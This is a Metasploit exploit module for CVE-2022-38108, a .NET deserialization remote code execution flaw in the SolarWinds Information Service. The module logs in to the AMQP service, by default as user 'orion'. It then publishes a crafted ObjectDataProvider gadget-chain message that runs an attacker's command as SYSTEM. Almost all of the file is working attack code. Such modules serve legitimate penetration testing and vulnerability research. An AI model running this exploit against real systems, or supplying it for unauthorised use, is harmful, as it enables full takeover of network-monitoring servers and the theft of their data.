##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/proto/amqp/version_0_9_1'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  def initialize
    super(
      'Name' => 'SolarWinds Information Service (SWIS) .NET Deserialization From AMQP RCE',
      'Description' => %q{
        The SolarWinds Information Service (SWIS) is vulnerable to RCE by way of a crafted message received through the
        AMQP message queue. A malicious user that can authenticate to the AMQP service can publish such a crafted
        message whose body is a serialized .NET object which can lead to OS command execution as NT AUTHORITY\SYSTEM.
      },
      'Author' => [
        'Justin Hong', # vulnerability research, Trend Micro
        'Lucas Miller', # vulnerability research, Trend Micro
        'Piotr Bazydło', # vulnerability discovery, reported to ZDI
        'Spencer McIntyre' # metasploit module
      ],
      'Arch' => ARCH_CMD,
      'Platform' => 'win',
      'References' => [
        [ 'CVE', '2022-38108' ],
        [ 'URL', 'https://www.zerodayinitiative.com/blog/2023/2/27/cve-2022-38108-rce-in-solarwinds-network-performance-monitor' ],
        [ 'URL', 'https://www.solarwinds.com/trust-center/security-advisories/cve-2022-38108' ]
      ],
      'DefaultOptions' => {
        'WfsDelay' => 10
      },
      'Targets' => [
        [ 'Automatic', {} ]
      ],
      'DefaultTarget' => 0,
      'Privileged' => true,
      'DisclosureDate' => '2022-10-19',
      'Notes' => {
        'Stability' => [CRASH_SAFE],
        'Reliability' => [REPEATABLE_SESSION],
        'SideEffects' => [IOC_IN_LOGS]
      }
    )

    register_options([
      Opt::RHOST,
      Opt::RPORT(5671),
      OptString.new('USERNAME', [true, 'The username to authenticate with', 'orion']),
      OptString.new('PASSWORD', [true, 'The password to authenticate with', ''])
    ])

    register_advanced_options(
      [
        OptBool.new('SSL', [ true, 'Negotiate SSL/TLS for outgoing connections', true ]),
        Opt::SSLVersion
      ]
    )
  end

  def peer
    rhost = datastore['RHOST']
    rport = datastore['RPORT']
    if Rex::Socket.is_ipv6?(rhost)
      "[#{rhost}]:#{rport}"
    else
      "#{rhost}:#{rport}"
    end
  end

  def print_status(msg)
    msg = "#{peer} - #{msg}"
    super
  end

  def exploit
    amqp_client = Rex::Proto::Amqp::Version091::Client.new(
      datastore['RHOST'],
      port: datastore['RPORT'],
      context: { 'Msf' => framework, 'MsfExploit' => self },
      ssl: datastore['SSL'],
      ssl_version: datastore['SSLVersion']
    )

    unless amqp_client.login(datastore['USERNAME'], datastore['PASSWORD'])
      fail_with(Failure::NoAccess, "Authentication failed for user #{datastore['USERNAME']}.")
    end
    print_status('Successfully connected to the remote server.')

    channel = amqp_client.channel_open
    vprint_status('Successfully opened a new channel.')
    channel.basic_publish(
      routing_key: 'SwisPubSub',
      message: ::Msf::Util::DotNetDeserialization.generate(
        payload.encoded,
        gadget_chain: :ObjectDataProvider,
        formatter: :JsonNetFormatter
      ),
      properties: {
        message_type: 'System.Windows.Data.ObjectDataProvider'
      }
    )
    print_status('Successfully published the message to the channel.')

    channel.close
    amqp_client.connection_close
  rescue Rex::Proto::Amqp::Error::UnexpectedReplyError => e
    fail_with(Failure::UnexpectedReply, e.message)
  rescue Rex::Proto::Amqp::Error::AmqpError => e
    fail_with(Failure::Unknown, e.message)
  ensure
    amqp_client.close
  end
end
